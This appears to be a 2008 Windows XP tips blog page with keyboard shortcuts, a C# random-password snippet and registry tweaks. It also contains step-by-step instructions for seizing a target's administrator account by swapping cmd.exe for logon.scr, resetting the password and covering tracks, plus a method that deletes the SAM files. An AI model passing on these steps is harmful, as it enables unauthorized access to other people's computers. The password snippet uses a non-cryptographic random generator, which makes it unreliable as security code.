Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW
Switch FilterKeys on and off. Right SHIFT for eight seconds
Display the items in the active list in a dialog box. F4
Refresh the active window. F5
Cycle through screen elements in a window or on the desktop. F6
Display the top of the active window. HOME
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
Open the next menu to the left, or close a submenu. LEFT ARROW
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display the shortcut menu for the selected item. Menu key
Switch ToggleKeys on and off. NUM LOCK for five seconds
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Open the next menu to the right, or open a submenu. RIGHT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW
Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch StickyKeys on and off. SHIFT five times
Prevent the CD from automatically playing. SHIFT when you insert a CD into the CD-ROM drive
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Display the shortcut menu for the selected item. SHIFT+F10
Move backward through options in a dialog box. SHIFT+TAB
Select or clear the check box if the active option is a check box in a dialog box. SPACEBAR
Move forward through options in a dialog box. TAB
Carry out the corresponding command. Underlined letter in a command name on an open menu
Display or hide the Start menu. Windows Key
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. Windows Key+ L
Display the System Properties dialog box. Windows Key+BREAK
Show the desktop. Windows Key+D
Open My Computer. Windows Key+E
Search for a file or folder. Windows Key+F
Display Windows Help. Windows Key+F1
Minimize all windows. Windows Key+M
Open the Run dialog box. Windows Key+R
Restores minimized windows. Windows Key+Shift+M
Opens Utility Manager. Windows Key+U

Sunday, November 2, 2008

Create Random password in C#.net

char[] a = { 'A', 'B', 'C', 'D', 'E', 'F','0','1','2','3','4','5','6','7','8','9', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','0','1','2','3','4','5','6','7','8','9' };
char[] b = new char[10];
string s="";
Random rand = new Random();
for (int i = 0; i < 10; i++)
{
int randnum = rand.Next(0, 46);
b[i] = a[randnum];
s = s + b[i];
}
return s;

Monday, October 27, 2008

WINDOWS TIPS COLLECTION

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.




Another way ...

Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.